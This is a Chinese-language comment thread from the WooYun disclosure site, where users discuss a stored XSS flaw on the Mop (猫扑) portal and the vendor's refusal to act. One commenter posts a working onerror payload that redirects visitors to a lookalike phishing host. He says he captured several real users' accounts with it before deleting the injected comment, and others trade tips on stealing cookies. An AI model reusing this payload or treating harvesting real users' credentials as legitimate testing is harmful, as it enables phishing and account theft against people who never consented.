WooYun.org

如果又是WEB.XML?

坐等忽略。。。猫扑的一概作风。。

@鬼魅羊羔 其实希望Java大妞们弄点高级点东西出来.....

没天一贴 造福基友 减少寂寞

其实我是在测试我的扫描器，乌云厂商第一页的全扫了。

@shack2 ....

@xsser？

@shack2 @xsser 我怀疑，你俩有基情。。。

@鬼魅羔羊 要不你也加入搞3p

@shack2 哦！fuck！我是纯洁的孩纸。。

@鬼魅羔羊 你那个猫扑xss利用方法已发 确实能对用户造成危害 坐看猫扑继续忽略

@Finger 能造成危害，我用那个拦下了挺多信息得，可猫扑人家不承认，木有办法。。

@Finger 只要访问即可触发，太直接不过了，他们根本不重视。。。我都没啥心思弄了。。

鬼魅羊羔 呵呵 你那样只是本地读取了cookies 没能收集到 猫扑对链接做了处理 我是没办法调用外部js 猫扑可能认为这样无威胁

@鬼魅羊羔 呵呵 你那样只是本地读取了cookies 没能收集到 猫扑对链接做了处理 我是没办法调用外部js 猫扑可能认为这样无威胁

@xsser 在线呢 审核漏洞啊

@Finger 嗯，虽然对外链做了限制，但并不是没有突破的方法，他们觉得咱们没拿到后台，就认为没威胁。。我觉得有必要深入下。。你提交了什么漏洞？

@鬼魅羊羔 就是你那个xss的利用方法 <img src="" onerror=document.location.hostname="hi.mop.com.diaoyu.com" />看这个你就明白了

@Finger 这个方法好。。尼玛就是我手贱，不该乱测。。。你捕获到东西了吗？

@鬼魅羊羔 捕获几个账号测试下 之后就把插代码的留言删了

@Finger 捕获成功了？

@shack2 你来一打扫描器

@Finger 尼玛，都有人开始劫持用户页面做广告了~~~可爱死了，不会是你吧。。哈哈

@鬼魅羊羔 额~ 绝对不是我 利用跳转做的？

此法可用于向不懂的人装B：<img src="" onerror=document.write("鬼魅羊羔路过") />

@Finger fuck!不带这样的。。你是怎么捕获cookie的？

网站都打包了，才给5分？

@重庆叁壹伍捌信息技术有限公司 这个真说不准，不知道这个打包，是不是咱们想的那种打包。。

@鬼魅羊羔 坐等

@重庆叁壹伍捌信息技术有限公司 咱搬个板凳，一起坐等吧，亲，要爆米花么？

@鬼魅羊羔 亲，要鼠标键盘低音炮不？

@重庆叁壹伍捌信息技术有限公司 要要要啊！你不给么~~~~别调戏我了。。洞都让人找完了。。。。

。。坐这看着。。吃着爆米花

@xsser 这玩应可以刷分？